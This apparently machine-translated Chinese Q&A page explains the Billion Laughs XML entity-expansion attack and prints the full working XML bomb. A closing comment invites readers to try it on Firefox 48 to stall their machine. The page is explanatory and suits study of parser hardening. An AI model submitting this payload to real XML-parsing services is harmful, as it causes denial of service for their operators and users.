The Billion Laughs攻擊是針對XML解析器的拒絕服務攻擊。億笑攻擊也被稱爲XML炸彈,或者更爲深奧的是指數實體擴展攻擊。即使使用格式良好的XML,也可能發生十億個笑的攻擊,並且還可以通過XML模式驗證。
在下面的XML文件中演示了vanilla Billion Laughs攻擊。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
在這個例子中,有10個不同的XML實體,lol
- lol9
。第一個實體lol
被定義爲字符串「lol」
。但是,每個其他實體被定義爲另一個實體的10個實體。此XML文件的文檔內容部分僅包含對實體lol9
的一個實例的引用。但是,當DOM或SAX語法分析器正在解析此內容時,遇到lol9
時,它將擴展爲10個,其中每個擴展爲10個,其他等等。當所有內容擴展到文本lol
時,都會有100,000,000個字符串"lol"
的實例。如果還有一個實體,或者lol
被定義爲「lol」
的10個字符串,則會有十億個「大聲笑」,因此就是攻擊的名字。毋庸置疑,這樣的擴展消耗了大量的資源和時間,導致了DOS。
我的blog存在更廣泛的解釋。
應該遷移到BufferOverFlow ... http://en.wikipedia。org/wiki/Billion_laughs – codingbadger 2010-08-10 16:31:31
你應該被遷移到barryoverflow – 2010-08-10 17:17:08
在Firefox 48上試一試你的計算機失速:-) https://bugzilla.mozilla.org/show_bug.cgi?id=798374 – 2016-09-18 17:07:27